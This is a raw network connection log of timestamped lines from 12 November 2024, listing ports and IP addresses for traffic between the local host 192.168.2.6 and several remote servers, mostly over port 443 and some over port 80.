Nov 12, 2024 17:07:43.648058891 CET	49838	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.648083925 CET	443	49838	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.920517921 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.969979048 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.970010042 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:43.971355915 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:43.971363068 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.101494074 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.101516962 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.101586103 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.101607084 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.102102041 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.102149010 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.152945042 CET	49827	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.152967930 CET	443	49827	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.195188999 CET	49718	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.245771885 CET	443	49836	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.292725086 CET	443	49837	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.338558912 CET	49836	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.338579893 CET	443	49836	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.339380980 CET	49836	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.339386940 CET	443	49836	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.342171907 CET	49837	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.342197895 CET	443	49837	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.342673063 CET	49837	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.342679024 CET	443	49837	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.363342047 CET	49842	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.363363981 CET	443	49842	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.363631964 CET	49842	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.417584896 CET	443	49838	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.458178043 CET	49842	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.458200932 CET	443	49842	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.462909937 CET	443	49836	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.462929964 CET	443	49836	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.463108063 CET	49836	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.463124990 CET	443	49836	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.463258982 CET	443	49836	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.463304996 CET	49836	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.465203047 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:44.465228081 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:44.465290070 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:44.465528011 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:44.465538025 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:44.465835094 CET	49836	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.465859890 CET	443	49836	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.465876102 CET	49836	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.465881109 CET	443	49836	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.470036030 CET	443	49837	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.470057964 CET	443	49837	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.470130920 CET	443	49837	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.470134974 CET	49837	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.470259905 CET	49837	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.470412016 CET	49837	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.470427036 CET	443	49837	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.470437050 CET	49837	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.470442057 CET	443	49837	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.478405952 CET	80	49805	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:44.478485107 CET	49805	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:44.486562014 CET	49838	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.486579895 CET	443	49838	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.487076998 CET	49838	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.487082958 CET	443	49838	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.539381027 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.539423943 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.539613962 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.543822050 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.543857098 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.543926001 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.544534922 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.544563055 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.544912100 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.546566963 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.546587944 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.598660946 CET	49844	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.598700047 CET	443	49844	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.598809958 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.598824978 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.619052887 CET	49853	443	192.168.2.6	18.245.60.72
Nov 12, 2024 17:07:44.619077921 CET	443	49853	18.245.60.72	192.168.2.6
Nov 12, 2024 17:07:44.619127989 CET	49853	443	192.168.2.6	18.245.60.72
Nov 12, 2024 17:07:44.620033026 CET	443	49838	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.620054960 CET	443	49838	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.620101929 CET	49838	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.620117903 CET	443	49838	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.620384932 CET	443	49838	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.620430946 CET	49838	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.627140045 CET	49853	443	192.168.2.6	18.245.60.72
Nov 12, 2024 17:07:44.627152920 CET	443	49853	18.245.60.72	192.168.2.6
Nov 12, 2024 17:07:44.628238916 CET	49838	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.628251076 CET	443	49838	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.628262043 CET	49838	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.628266096 CET	443	49838	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.660523891 CET	49856	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.660552979 CET	443	49856	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.660610914 CET	49856	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.674741983 CET	49856	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:44.674761057 CET	443	49856	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:44.706082106 CET	49805	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:44.706439018 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:44.710867882 CET	80	49805	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:44.711416960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:44.711642027 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:44.713522911 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:44.713680983 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:44.718497038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:44.718508005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:44.718518019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:44.718534946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:45.237468958 CET	443	49842	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.237552881 CET	49842	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.242038012 CET	49842	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.242044926 CET	443	49842	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.242316008 CET	443	49842	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.243042946 CET	49842	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.287333965 CET	443	49842	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.320502996 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.320586920 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.321434975 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.327409983 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.327429056 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.328139067 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.328165054 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.328248978 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.328258038 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.328298092 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.328991890 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.329016924 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.329230070 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.329262972 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.330749035 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.330837965 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.331056118 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.331063986 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.332324982 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.352941990 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.353010893 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.355619907 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.355631113 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.355886936 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.364411116 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.377870083 CET	443	49842	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.377943993 CET	443	49842	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.378001928 CET	49842	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.379337072 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.400870085 CET	49842	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.400881052 CET	443	49842	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.400902987 CET	49842	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.400914907 CET	443	49842	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.407335043 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.427021027 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.439196110 CET	443	49856	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.439291954 CET	49856	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.472090960 CET	443	49853	18.245.60.72	192.168.2.6
Nov 12, 2024 17:07:45.472724915 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.472784042 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.473058939 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.487447977 CET	49853	443	192.168.2.6	18.245.60.72
Nov 12, 2024 17:07:45.487462997 CET	443	49853	18.245.60.72	192.168.2.6
Nov 12, 2024 17:07:45.488509893 CET	443	49853	18.245.60.72	192.168.2.6
Nov 12, 2024 17:07:45.488564014 CET	49853	443	192.168.2.6	18.245.60.72
Nov 12, 2024 17:07:45.497597933 CET	49853	443	192.168.2.6	18.245.60.72
Nov 12, 2024 17:07:45.497675896 CET	443	49853	18.245.60.72	192.168.2.6
Nov 12, 2024 17:07:45.501247883 CET	49856	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.501264095 CET	443	49856	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.501571894 CET	443	49856	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.502243042 CET	49856	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.508116007 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.508140087 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.508152962 CET	49846	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.508158922 CET	443	49846	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.523585081 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.523649931 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.523919106 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.524234056 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.524249077 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.524261951 CET	49845	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.524266958 CET	443	49845	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.543340921 CET	443	49856	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.582676888 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.582726002 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.582808971 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.582819939 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.588705063 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.591959000 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.591967106 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.595066071 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.595136881 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.595144987 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.603877068 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.603935003 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.603944063 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.637136936 CET	49853	443	192.168.2.6	18.245.60.72
Nov 12, 2024 17:07:45.637145042 CET	443	49853	18.245.60.72	192.168.2.6
Nov 12, 2024 17:07:45.653027058 CET	443	49856	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.653119087 CET	443	49856	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.653228045 CET	49856	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.699743032 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.699819088 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.699822903 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.699846029 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.699920893 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.702140093 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.703670979 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.703767061 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.703775883 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.712280989 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.714797974 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.714807034 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.722472906 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.723933935 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.723941088 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.745064020 CET	49853	443	192.168.2.6	18.245.60.72
Nov 12, 2024 17:07:45.817243099 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.818033934 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.818044901 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.823540926 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.823590040 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.823643923 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.823659897 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.823668003 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.823694944 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.829482079 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.829541922 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.829588890 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.829598904 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.829638958 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.839538097 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.914670944 CET	49856	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.914670944 CET	49856	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.914700031 CET	443	49856	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.914710045 CET	443	49856	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.924808979 CET	49868	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.924843073 CET	443	49868	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.924892902 CET	49868	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.926338911 CET	49869	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.926373005 CET	443	49869	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.926403046 CET	49868	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.926418066 CET	443	49868	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.926425934 CET	49869	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.927114964 CET	49869	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.927128077 CET	443	49869	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.929116964 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.929126978 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.929178953 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.929467916 CET	49870	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.929478884 CET	443	49870	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.930269003 CET	49871	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.930279016 CET	443	49871	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.930352926 CET	49871	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.933258057 CET	49871	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:45.933268070 CET	443	49871	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:45.934410095 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.934482098 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.934500933 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.936580896 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.936640978 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.936647892 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.938019991 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.938080072 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.938086033 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.947016954 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.947062016 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.947097063 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.947117090 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.947160006 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.956963062 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.957026958 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.957220078 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:45.957243919 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:45.971271038 CET	443	49822	94.245.104.56	192.168.2.6
Nov 12, 2024 17:07:45.973651886 CET	49822	443	192.168.2.6	94.245.104.56
Nov 12, 2024 17:07:45.973712921 CET	443	49822	94.245.104.56	192.168.2.6
Nov 12, 2024 17:07:45.973825932 CET	49822	443	192.168.2.6	94.245.104.56
Nov 12, 2024 17:07:46.025569916 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.051840067 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.054904938 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.054943085 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.054961920 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.054991007 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.055089951 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.055958033 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.056097031 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.056252003 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.056272030 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.064372063 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.064460039 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.064485073 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.074218988 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.074251890 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.074269056 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.074292898 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.074338913 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.074367046 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.146886110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:46.147114038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:46.154274940 CET	49872	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.154299974 CET	443	49872	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.154356003 CET	49872	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.155463934 CET	49872	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:46.155478001 CET	443	49872	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:46.169121027 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.169181108 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.169215918 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.173094988 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.173135996 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.173152924 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.173171997 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.173245907 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.181423903 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.191224098 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.191252947 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.191268921 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.191293955 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.191338062 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.191387892 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.191441059 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.191476107 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.191483974 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.199748993 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.199789047 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.199891090 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.200042009 CET	49873	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.200057030 CET	443	49873	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.200263977 CET	49874	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.200293064 CET	443	49874	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.200349092 CET	49874	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.200475931 CET	49874	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.200485945 CET	443	49874	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.245628119 CET	49875	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.245670080 CET	443	49875	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.245768070 CET	49875	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.261909962 CET	49875	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:46.261949062 CET	443	49875	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:46.286560059 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.286614895 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.286647081 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.290340900 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.290374041 CET	443	49843	142.250.184.225	192.168.2.6
Nov 12, 2024 17:07:46.290381908 CET	49843	443	192.168.2.6	142.250.184.225
Nov 12, 2024 17:07:46.290406942 CET	443	49843	142.250.184.225	192.168.2.6
